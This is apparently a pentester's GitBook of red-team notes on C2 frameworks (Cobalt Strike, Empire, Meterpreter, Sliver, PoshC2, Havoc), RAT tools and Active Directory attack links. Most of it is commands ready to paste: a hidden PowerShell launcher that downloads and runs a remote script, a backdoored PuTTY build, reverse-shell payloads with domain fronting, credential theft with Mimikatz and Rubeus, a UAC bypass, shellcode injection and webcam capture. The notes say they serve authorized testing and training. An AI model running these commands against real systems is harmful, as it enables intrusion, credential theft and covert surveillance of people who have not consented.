# README

![](/files/-MctprY79iExne46nCJG)

Hey there!

I'm [snovvcrash](https://snovvcra.sh/about) and I do ethical penetration testing, red teaming, offensive tooling development and cybersecurity researching.

This is a GitBook of mine whose purpose is keeping my pentest notes on hand. It's far from being perfect in terms of organization (that's why I call it "promiscuous") and, basically, I'm logging it for myself, but it turned out that hosting it online makes it most convenient to access. So, if you find it handy too, feel free to use it... **responsibly**, of course!

While taking these notes, one main rule is that all the given techniques are actually tested either during an authorized engagement or in a training lab.

{% hint style="warning" %}
**DISCLAIMER.** All information contained in this blog is provided for educational and research purposes only. The author is not responsible for any illegal use of any information published on the pages of this blog.
{% endhint %}

## Telegram Channel

[![](/files/u2ahoLiVRbcUEvTAsD6u)](https://t.me/OffensiveTwitter)

***<https://t.me/OffensiveTwitter>***

## About

{% embed url="<https://snovvcra.sh/>" %}

{% embed url="<https://github.com/snovvcrash>" %}

{% embed url="<https://infosec.exchange/@snovvcrash>" %}


# C2

* <https://www.thec2matrix.com/matrix>
* <https://xakep.ru/2019/10/18/post-exploitation-frameworks/>
* <https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd>

{% embed url="<https://docs.google.com/spreadsheets/d/1-A0WOlGh1GnhbfLP53M6vjYl1LCPyrqp/edit?usp=sharing&ouid=117220615455477620407&rtpof=true&sd=true>" %}

## RAT Tools

* <https://breakingsecurity.net/remcos/>
* <https://jetlogger.app/>
* <https://github.com/quasar/Quasar>
* <https://github.com/moom825/xeno-rat>


# Cobalt Strike

* <https://reconshell.com/list-of-awesome-cobaltstrike-resources/>
* <https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet>

Run as a daemon:

{% tabs %}
{% tab title="Service Unit" %}
{% code title="/etc/systemd/system/cobaltstrike.service" %}

```
[Unit]
Description=CobaltStrike
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/opt/CobaltStrike/start.sh

[Install]
WantedBy=multi-user.target
```

{% endcode %}
{% endtab %}

{% tab title="Start Script" %}
{% code title="/opt/CobaltStrike/start.sh" %}

```bash
#!/bin/bash

CS_IP=`hostname -I | awk '{print $1}'`
CS_PASS='Passw0rd1!'
CS_PATH='/opt/CobaltStrike'

rm -{f} "${CS_PATH}/Profiles/random_c2_profile/output/*.profile"
CS_PROFILE=`cd "${CS_PATH}/Profiles/random_c2_profile"; python3 ./random_c2profile.py | tail -1 | awk -F/ '{print $2}'`

if [ ! -f "${CS_PATH}/cobaltstrike.store" ]; then
        /usr/bin/keytool -keystore ./cobaltstrike.store -storepass 'Passw0rd2!' -keypass 'Passw0rd2!' -genkey -keyalg RSA -alias cobaltstrike -dname 'CN=google.com, O=Google Inc, L=Mountain View, ST=California, C=US'
fi

${CS_PATH}/TeamServerImage -Dcobaltstrike.server_port=1337 -Dcobaltstrike.server_bindto="${CS_IP}" -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword='Passw0rd2!' teamserver "${CS_IP}" "${CS_PASS}" "${CS_PATH}/Profiles/random_c2_profile/output/${CS_PROFILE}"
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Malleable C2 Profiles

* <https://blog.zsec.uk/cobalt-strike-profiles/>
* <https://github.com/rsmudge/Malleable-C2-Profiles>

### SourcePoint

* <https://github.com/Tylous/SourcePoint>

```
$ ./SourcePoint -Host www.microsoft.com -Forwarder -Sleep 20 -Jitter 20 -Injector NtMapViewOfSection -Stage False -Syscall Indirect -Outfile test.profile
```

## Aggressor Scripts

* <https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm>
* <https://chowdera.com/2021/02/20210204190220156W.html>
* <https://www.kingstonesecurity.com/blog/efficiency-with-aggressor>

## Community Kit

* <https://cobalt-strike.github.io/community_kit/>

## P2P Beacons

Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection to an existent beacon. They act like bind shells and waits for the attacker to connect to them.

Connect to a TCP beacon:

```
beacon> connect <IP> <PORT>
```

Connect to an SMB beacon:

```
beacon> link <IP>
```

## DNS Beacons

* <https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike/>

Create an `A` record `ns66.example.com` pointing to IP address of the redirector and then an `NS` record pointing to `ns66.example.com`.

{% hint style="warning" %}
Before starting a DNS listener, the localhost resolver should be shut down if necessary: `sudo systemctl disable systemd-resolved --now`.
{% endhint %}

### socat Redirector

On the redirector:

```
$ sudo socat -T 1 udp4-listen:53,fork tcp4:<TEAMSERVER_IP>:5353
```

On the team server:

```
$ socat -T 10 tcp4-listen:5353,fork udp4:127.0.0.1:53
```

### iptables Redirector

{% tabs %}
{% tab title="Add" %}
{% code title="dns-forwarder-on.sh" %}

```bash
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destination <REDIRECTOR_IP> --destination-port 53 -j MARK --set-mark 0x400
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to-destination <TEAMSERVER_IP>:53
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
```

{% endcode %}
{% endtab %}

{% tab title="Delete" %}
{% code title="dns-forwarder-off.sh" %}

```bash
sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destination <REDIRECTOR_IP> --destination-port 53 -j MARK --set-mark 0x400
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to-destination <TEAMSERVER_IP>:53
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT
```

{% endcode %}
{% endtab %}
{% endtabs %}

### DNSMasq Redirector

* <https://buaq.net/go-20984.html>

## Overpass-the-Hash

More opsec PtH than builtin `pth` command (which does the Mimikatz `sekurlsa::pth` thing with named pipe impersonation):

```
beacon> mimikatz sekurlsa::pth /user:snovvcrash /domain:megacorp.local /ntlm:fc525c9683e8fe067095ba2ddc971889
beacon> steal_token 1337
```

Same with Rubeus (must be in elevated context):

```
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
beacon> steal_token 1337
```

Use Rubeus with lower privileges:

```
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /nowrap /opsec

PS > [System.IO.File]::WriteAllBytes("C:\Windows\Tasks\tgt.kirbi", [System.Convert]::FromBase64String("<BASE64_TICKET>"))
Or
$ echo -en "<BASE64_TICKET>" | base64 -d > tgt.kirbi

beacon> run klist
Or
beacon> execute-assembly Rubeus.exe klist

beacon> make_token MEGACORP\snovvcrash dummy_Passw0rd!
beacon> kerberos_ticket_use C:\Windows\Tasks\tgt.kirbi
```

## Pass-the-Ticket

Create a sacrificial process, import the TGT into its logon session and steal its security token:

```
beacon> execute-assembly Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
beacon> execute-assembly Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
beacon> beacon> steal_token 1337
```

## Pivoting

Make any traffic hitting port **8443** on Victim to be redirected to **10.10.13.37** on port **443** (traffic flows through the team server):

```
beacon> rportfwd 8443 10.10.13.37 443
```

Make any traffic hitting port **8080** on Victim to be redirected to **localhost:80** on Attacker (traffic flows through the CS client):

```
beacon> rportfwd_local 8080 127.0.0.1 80
```

Forward SOCKS server's port from team server to the client:

```
beacon> socks 1080
$ ssh -tt -v -L 9050:localhost:1080 root@teamserver
```

## Credentials

### DPAPI

List credential blobs:

```
beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials
```

List vault credentials:

```
beacon> run vaultcmd /listcreds:"Windows Credentials" /all
beacon> mimikatz vault::list
```

Check which master keys correspond to credential blobs (look for **guidMasterKey** field with GUID):

```
beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB>
```

The master key is stored here:

```
beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>
```

Decrypt the master key via RPC on the Domain Controller and show it:

```
beacon> mimikatz dpapi::masterkey /in:C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID> /rpc
```

Decrypt the blob with decrypted master key:

```
beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB> /masterkey:<MASTERKEY>
```

## Evasion

* [\[PDF\] Avoiding Memory Scanners (Kyle Avery, @kyleavery)](https://www.blackhillsinfosec.com/avoiding-memory-scanners/)
* <https://github.com/kyleavery/AceLdr>

{% embed url="<https://youtu.be/edIMUcxCueA>" %}

### Sleep Mask

{% content-ref url="/pages/8e4raVMUUKuvkovvRZBS#shellcode-in-memory-fluctuation-obfuscate-and-sleep" %}
[Code Injection](/red-team/dev/code-injection#shellcode-in-memory-fluctuation-obfuscate-and-sleep)
{% endcontent-ref %}

* <https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures>
* <https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/>
* <https://codex-7.gitbook.io/codexs-terminal-window/red-team/cobalt-strike/evading-hunt-sleeping-beacons>

## Detection

* <https://github.com/chronicle/GCTI>


# Covenant

* <https://github.com/cobbr/Covenant>
* <https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/>

## Install

```
$ git clone --recurse-submodules https://github.com/cobbr/Covenant
$ cd Covenant/Covenant
$ dotnet run
```

## Cheatsheet

Make a sacrificial token to be used with Over-PtH attacks:

```
(snovvcrash) > MakeToken administrator megacorp.local dummy_Passw0rd!
```


# Empire

* <https://github.com/BC-SECURITY/Empire>
* <https://xakep.ru/2020/06/03/powershell-empire/>

## Install

```
$ git clone --recursive https://github.com/BC-SECURITY/Empire.git
$ cd Empire
$ sudo ./setup/install.sh
$ sudo poetry install
```

To compile C# agents ([Covenant](https://github.com/cobbr/Covenant) and [Sharpire](https://github.com/0xbadjuju/Sharpire)) [install](https://docs.microsoft.com/en-us/dotnet/core/install/linux-debian#supported-distributions) .NET SDK 3.1:

```
$ wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
$ sudo dpkg -i packages-microsoft-prod.deb
$ rm packages-microsoft-prod.deb

$ sudo apt-get update; \
  sudo apt-get install -y apt-transport-https && \
  sudo apt-get update && \
  sudo apt-get install -y dotnet-sdk-3.1

$ sudo apt-get update; \
  sudo apt-get install -y apt-transport-https && \
  sudo apt-get update && \
  sudo apt-get install -y aspnetcore-runtime-3.1
```

## Run

```
$ ./ps-empire server [--restip 127.0.0.1 --username snovvcrash --password 'Passw0rd!']
$ ./ps-empire client
```

Reset the database:

```
$ ./ps-empire server --reset
```

## Cheatsheet

Basic PowerShell launcher string:

```
PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/launcher.ps1')"
```

Prepare a listener:

```
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: uselistener/http) > set Name http1
(Empire: uselistener/http) > set Host 10.10.13.37
(Empire: uselistener/http) > set Port 80
(Empire: uselistener/http) > execute
```

Generate a PowerShell stager:

```
(Empire: listeners) > usestager multi/launcher
(Empire: usestager/multi/launcher) > set Listener http1
(Empire: usestager/multi/launcher) > set OutFile pwsh.ps1
(Empire: usestager/multi/launcher) > generate
```

Generate a C# stager:

```
(Empire: listeners) > useplugin csharpserver
(Empire: useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile csharp.exe
(Empire: usestager/windows/csharp_exe) > generate
```

Re-inject into an interactive process (e. g., `explorer.exe`):

```
(Empire: listeners) > agents
(Empire: agents) > rename LKH7SD3V A1
(Empire: agents) > interact A1
(Empire: A1) > sysinfo
(Empire: A1) > shell Get-Process explorer
(Empire: A1) > psinject exch <EXPLORER_EXE_PID>
```

Bypass UAC to get a high integrity process:

```
(Empire: A1) > shell whoami /priv
(Empire: A1) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http1
(Empire: powershell/privesc/bypassuac_fodhelper) > run
```

Execute a PowerShell script from memory (e. g., [`Invoke-SharpSecDump.ps1`](https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpSecDump.ps1)):

```
(Empire: A1) > shell whoami /priv
(Empire: A1) > usemodule management/invoke_script
(Empire: powershell/management/invoke_script) > set ScriptPath /home/snovvcrash/tools/dump.ps1
(Empire: powershell/management/invoke_script) > set ScriptCmd Invoke-SharpSecDump -C "-tager=127.0.0.1"
(Empire: powershell/management/invoke_script) > run
```

Start a process in the background (e. g., [chisel](https://github.com/jpillora/chisel) SOCKS proxy):

```
(Empire: A1) > shell IWR http://10.10.13.37:8080/chisel.exe -OutFile C:\Windows\services.exe -UseBasicParsing
(Empire: A1) > shell Start-Process -NoNewWindow -FilePath C:\Windows\services.exe -ArgumentList "client 10.10.13.37:8000 R:socks"
```

Invoke a custom Mimikatz command:

```
(Empire: A1) > usemodule credentials/mimikatz/command
(Empire: powershell/credentials/mimikatz/command) > set Command '"privilege::debug" "token::elevate" "ts::logonpasswords" "exit"'
(Empire: powershell/credentials/mimikatz/command) > run
```

## Plugins

* <https://github.com/BC-SECURITY/SocksProxyServer-Plugin>
* <https://github.com/BC-SECURITY/ChiselServer-Plugin>

## Customizing Agents

* <https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/>


# Havoc

* <https://github.com/HavocFramework/Havoc>

## Install

* <https://havocframework.com/docs/installation>

```
$ sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
$ git clone https://github.com/HavocFramework/Havoc /opt/Havoc && cd /opt/Havoc && git checkout dev
$ cd teamserver
$ go mod download golang.org/x/sys
$ go mod download github.com/ugorji/go
$ cd ..
$ make
$ ./havoc server --profile profiles/havoc.yaotl -v [--debug] [--debug-dev]
$ ./havoc client
```

## Malleable C2 Profiles

* <https://github.com/Ghost53574/havoc_profile_generator>


# Meterpreter

* <https://buffered.io/posts/staged-vs-stageless-handlers/>
* <https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/>
* <https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation>
* <https://xakep.ru/2020/07/03/metasploit-guide/>
* <https://diablohorn.com/2013/02/21/we-bypassed-antivirus-how-about-idsips/>
* <https://redops.at/en/blog/meterpreter-vs-modern-edrs-in-2023>

## Cheatsheet

Quick handler launch:

```
msf > handler -H eth0 -P 443 -p windows/x64/meterpreter/reverse_https [-e x64/xor] [-x]
```

Bind RC4 payload & handler through SOCKS proxy:

```
$ msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 RHOST=10.10.13.37 LPORT=443 RC4PASSWORD='Passw0rd!' -f exe -o rev.exe
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp_rc4
msf exploit(multi/handler) > set RHOST 192.168.1.11
msf exploit(multi/handler) > set LPORT 443
msf exploit(multi/handler) > set RC4PASSWORD Passw0rd!
msf exploit(multi/handler) > set PROXIES socks5:127.0.0.1:1080
msf exploit(multi/handler) > run
```

Generate a custom SSL certificate for encrypting C2 communications:

```
$ openssl req -batch -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout cert.key -out cert.crt
$ cat cert.key cert.crt > cert.pem
$ msfvenom -p ... HandlerSSLCert=./cert.pem StagerVerifySSLCert=true ...
msf exploit(multi/handler) > set HandlerSSLCert /home/snovvcrash/cert.pem
msf exploit(multi/handler) > set StagerVerifySSLCert true
```

Automation (about `exploit` flags [here](https://github.com/rapid7/metasploit-framework/blob/4049c41ac1b6f12566b055dc5442192072ea5d78/lib/msf/ui/console/command_dispatcher/exploit.rb#L17-L27)):

{% code title="auto.rc" %}

```
// sudo msfconsole -qr auto.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST 10.10.13.37
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/cert.pem
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz
```

{% endcode %}

Start SOCKS server (default is SOCKS5):

```
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j
```

Handle connections with **domain fronting**:

```
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=legitimate.com LPORT=443 HttpHostHeader=cdn.provider.net -f exe -o https.exe
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST legitimate.com
msf exploit(multi/handler) > set OverrideLHOST legitimate.com
msf exploit(multi/handler) > set OverrideRequestHost true
msf exploit(multi/handler) > set HttpHostHeader cdn.provider.net
msf exploit(multi/handler) > run
```

Migrate to a different architecture:

```
msf > use post/windows/manage/archmigrate
msf post(windows/manage/archmigrate) > set SESSION 1
msf post(windows/manage/archmigrate) > run
```

Switch to the next [transport](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control) killing current session:

```
meterpreter > transport add -t reverse_tcp -l 10.10.13.37 -p 9002
meterpreter > transport list
msf > handler -H eth0 -P 9002 -p windows/x64/meterpreter/reverse_tcp
meterpreter > transport next
```

Reverse local port `3389` (on Victim, `192.168.1.11`) to local port `43389` (on Attacker):

```
meterpreter > portfwd add -l 43389 -p 3389 -r 192.168.1.11
[*] Local TCP relay created: :43389 <-> 192.168.1.11:3389
$ xfreerdp /u:administrator /p:'Passw0rd!' /v:127.0.0.1:43389
```

Routing:

```
meterpreter > run autoroute -s 192.168.10.0/24
meterpreter > run autoroute -p
Or
msf5 > route add 192.168.10.0/24 1
msf5 > route
```

Execute binary from memory:

```
meterpreter > execute -cimH -d calc.exe -f /home/snovvcrash/www/mimikatz.exe -a '"sekurlsa::logonPasswords full" "exit"'
```

[Execute](https://github.com/b4rtik/metasploit-execute-assembly) .NET assembly from memory:

```
msf > use post/windows/manage/execute_dotnet_assembly
msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/Rubues.exe
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS "kerberoast /usetgtdeleg /format:hashcat"
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > run
```

Inject shellcode:

```
msf > use post/windows/manage/shellcode_inject
msf post(windows/manage/shellcode_inject) > set SHELLCODE /home/snovvcrash/www/shellcode.bin
msf post(windows/manage/shellcode_inject) > set SESSION 1
msf post(windows/manage/shellcode_inject) > run
```

Backdoored legit executable with delayed Stdapi loading:

```
$ wget https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe
$ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=eth0 LPORT=8080 EXITFUNC=thread -e x64/xor_dynamic -i 10 -k -x putty.exe -f exe -o evilputty.exe
$ sudo msfconsole -qx 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_http; set LHOST eth0; set LPORT 8080; set AutoLoadStdapi false; set EXITFUNC thread; run'
meterpreter > use unhook
meterpreter > load stdapi
```

Quicky opsec traffic build template:

```bash
sudo certbot certonly --standalone -d $DOMAIN --register-unsafely-without-email --agree-tos --key-type rsa
sudo cat /etc/letsencrypt/live/$DOMAIN/{privkey.pem,cert.pem} > /tmp/cert.pem

msfvenom -p windows/x64/meterpreter_reverse_https AutoLoadStdapi='false' AutoSystemInfo='false' HandlerSSLCert='/tmp/cert.pem' HttpCookie='...' HttpReferer='https://www.microsoft.com/en-us/' HttpServerName='nginx' HttpUnknownRequestResponse='...' HttpUserAgent='Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' StagerVerifySSLCert='true' LHOST='...' LPORT='443' LURI='...' -f raw -o /tmp/met.bin
```

Get web camera capture:

```
meterpreter > webcam_list
meterpreter > webcam_snap [-i <CAMERA_ID>]
meterpreter > webcam_stream
```

## Debug

* <https://github.com/deivid-rodriguez/pry-byebug>

{% embed url="<https://youtu.be/QzP5nUEhZeg?t=2190>" %}

```
$ gem install pry-byebug
$ vi ~/.pry-byebug
```

{% code title="pry-byebug" %}

```ruby
if defined?(PryByebug)
  Pry.commands.alias_command 'c', 'continue'
  Pry.commands.alias_command 's', 'step'
  Pry.commands.alias_command 'n', 'next'
  Pry.commands.alias_command 'f', 'finish'
end

 # Hit Enter to repeat last command
Pry::Commands.command /^$/, "repeat last command" do
  _pry_.run_command Pry.history.to_a.last
end
```

{% endcode %}

```
$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/exploits/linux/http/p.rb
$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...
```


# PoshC2

* <https://github.com/nettitude/PoshC2>
* <https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/>
* <https://xakep.ru/2023/08/18/interstellar-c2/>
* [\[PDF\] A Deep Dive Into a PoshC2 Implant (Vlad Pasca)](https://resources.securityscorecard.com/all/poshc2-implant)

## Install

```
$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/PoshC2 -b dev
```

## Run

List projects:

```
$ posh-project -l
```

Show current project:

```
$ posh-project -c
```

Create a new project:

```
$ posh-project -n <PROJECT_NAME>
```

Adjust config:

```
$ posh-config
```

Start team server:

```
$ posh-server
```

Connect to the team server:

```
$ posh -u snovvcrash
```

## Cheatsheet

[Load](https://poshc2.readthedocs.io/en/latest/usage/loadingmodules.html) .NET assembly and run it (available for agents that load CLR):

```
C# 01> loadmodule /tmp/Rubeus.exe
C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat
```


# Sliver

* <https://github.com/BishopFox/sliver>
* <https://bishopfox.com/blog/passing-the-osep-exam-using-sliver>

## Install

* <https://github.com/BishopFox/sliver/releases/latest>

Install team server as a daemon on the team server:

```
$ curl https://sliver.sh/install | sudo bash
```

For a client get a `sliver-client` binary from releases or disable the service if installed as a daemon:

```
$ sudo systemctl disable sliver.service --now
```

## Configure Team Server for Multiplayer

* <https://github.com/BishopFox/sliver/wiki/Configuration-Files>

Change [multiplayer](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) listener host (daemon mode) and restart:

```
$ sudo vi /root/.sliver/configs/server.json
$ sudo systemctl restart sliver.service
```

Generate config for a new operator:

```
$ sudo /root/sliver-server operator --name snovvcrash-kali-home --lhost <PRIVATE_IP> --lport 31337 --save snovvcrash_<PRIVATE_IP>.cfg
```

## Cheatsheet

A redirector-aware pair of payload and listener (when redirecting to `PRIVATE_IP:8443`):

```
sliver > generate [beacon] [--seconds 45] [--jitter 5] --os windows --arch amd64 --format shellcode [--evasion] [--disable-sgn] --http example.com:443 [--limit-datetime "Thu, 01 Jan 1970 00:00:00 MSK"] [--limit-domainjoined] [--limit-hostname VICTIM-PC] [--limit-username victim.user] --name victimpc --save /home/snovvcrash/www/shellcode.bin
sliver > https --domain example.com --lhost <PRIVATE_IP> --lport 8443
```


# Infrastructure

```
cd; mkdir ws; cd ws  # workspace
mkdir -p adcs/ discover/{subnets,hosts,services} enum/bloodhound/bloodhound.py loot/ log/ screenshots/ shells/ tickets/ traffic/ videos/
touch ~/ws/loot/net-ntlmv2.txt
```

## Network Config

```
hostname
ifconfig eth0
route -n
cat /etc/resolv.conf
arp -a
```


# AD

* <https://habr.com/ru/company/pt/blog/423903/>
* <https://habr.com/ru/company/jetinfosystems/blog/449278/>
* <https://habr.com/ru/company/bastion/blog/598769/>
* <https://xakep.ru/2019/10/16/windows-ad-hack/>
* <https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/>
* <https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/>
* <https://kalitut.com/hacking-windows-active-directory-full/>
* <https://rmusser.net/docs/Active_Directory.html>
* <https://zer1t0.gitlab.io/posts/attacking_ad/>
* <https://rootdse.org/posts/active-directory-basics-1/>
* <https://rootdse.org/posts/active-directory-basics-2/>
* [Атаки на домен / XSS.is](https://xss.is/threads/29895/)
* [\[PDF\] A Decade of Active Directory Attacks: What We've Learned & What's Next (Sean Metcalf)](https://troopers.de/downloads/troopers24/TR24_A_Decade_of_Active_Directory_Attacks_VXS8WY.pdf)

{% embed url="<https://youtu.be/5VW_eQD1-eA>" %}

{% embed url="<https://youtu.be/ReHn7c8qlIo>" %}

{% embed url="<https://www.youtube.com/live/_Yuu4RaMWDY?feature=share>" %}

{% embed url="<https://music.yandex.ru/album/21374924>" %}

{% embed url="<https://lolol.farm/>" %}

{% embed url="<https://github.com/cfalta/MicrosoftWontFixList/blob/main/README.md>" %}

![Pentesting AD Mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg)

## AD Labs

* <https://github.com/chvancooten/CloudLabsAD>
* <https://github.com/WazeHell/vulnerable-AD>

### Capsulecorp

* <https://livebook.manning.com/book/penetrating-enterprise-networks/>
* <https://github.com/R3dy/capsulecorp-pentest>
* <https://realhax.gitbook.io/capsulecorp-pentest/setup/windows>

### Game Of Active Directory

* [GOAD - part 1 - reconnaissance and scan](https://mayfly277.github.io/posts/GOADv2-pwning_part1/)
* [GOAD - part 2 - find users](https://mayfly277.github.io/posts/GOADv2-pwning-part2/)
* [GOAD - part 3 - enumeration with user](https://mayfly277.github.io/posts/GOADv2-pwning-part3/)
* [GOAD - part 4 - poison and relay](https://mayfly277.github.io/posts/GOADv2-pwning-part4/)
* [GOAD - part 5 - exploit with user](https://mayfly277.github.io/posts/GOADv2-pwning-part5/)
* [GOAD - part 6 - ADCS](https://mayfly277.github.io/posts/GOADv2-pwning-part6/)
* [GOAD - part 7 - MSSQL](https://mayfly277.github.io/posts/GOADv2-pwning-part7/)
* [GOAD - part 8 - Privilege escalation](https://mayfly277.github.io/posts/GOADv2-pwning-part8/)
* [GOAD - part 9 - Lateral move](https://mayfly277.github.io/posts/GOADv2-pwning-part9/)
* [GOAD - part 10 - Delegations](https://mayfly277.github.io/posts/GOADv2-pwning-part10/)
* [GOAD - part 11 - ACL](https://mayfly277.github.io/posts/GOADv2-pwning-part11/)
* [GOAD - part 12 - Trusts](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
* [GOAD - part 13 - Having fun inside a domain](https://mayfly277.github.io/posts/GOADv2-pwning-part13/)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15](https://mayfly277.github.io/posts/ADCS-part14/)
* <https://github.com/Orange-Cyberdefense/GOAD>

#### SCCM / MECM

* [SCCM / MECM LAB - Part 0x0](https://mayfly277.github.io/posts/SCCM-LAB-part0x0/)
* [SCCM / MECM LAB - Part 0x1 - Recon and PXE](https://mayfly277.github.io/posts/SCCM-LAB-part0x1/)
* [SCCM / MECM LAB - Part 0x2 - Low user](https://mayfly277.github.io/posts/SCCM-LAB-part0x2/)
* [SCCM / MECM LAB - Part 0x3 - Admin User](https://mayfly277.github.io/posts/SCCM-LAB-part0x3/)

#### Exchange

* [Exchange - Part 1 - no creds](https://mayfly277.github.io/posts/Exchange-part1/)

#### Winning GOAD

* [\[PDF\] Winning the Game Of Active Directory (@techBrandon)](https://github.com/techBrandon/DC32-GOAD/blob/main/WinningGOAD.pdf)

## Bank Security Challenge

* [MSK Department](https://hackmd.io/@BSC/SyCdGCSGi)
* [SPB Department](https://hackmd.io/@BSC/B1uCALDfi)

## The Path to DA

* <https://shorsec.io/blog/the-path-to-da-part-1-sysadmins-love-generic-passwords/>
* <https://shorsec.io/blog/the-path-to-da-part-2-relaying-to-the-internet-and-back/>

## Tools

### BloodHound

* <https://github.com/BloodHoundAD/BloodHound>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/>
* <https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/>
* <https://habr.com/ru/companies/solarsecurity/articles/681108/>
* <https://habr.com/ru/companies/solarsecurity/articles/707190/>
* <https://habr.com/ru/companies/solarsecurity/articles/719714/>
* [\[PDF\] BloodHound Unleashed (Esteban Rodriguez, Frank Scarpella)](https://github.com/n00py/CactusCon2023/blob/main/BloodHound%20Unleashed.pdf)

#### Setup

{% tabs %}
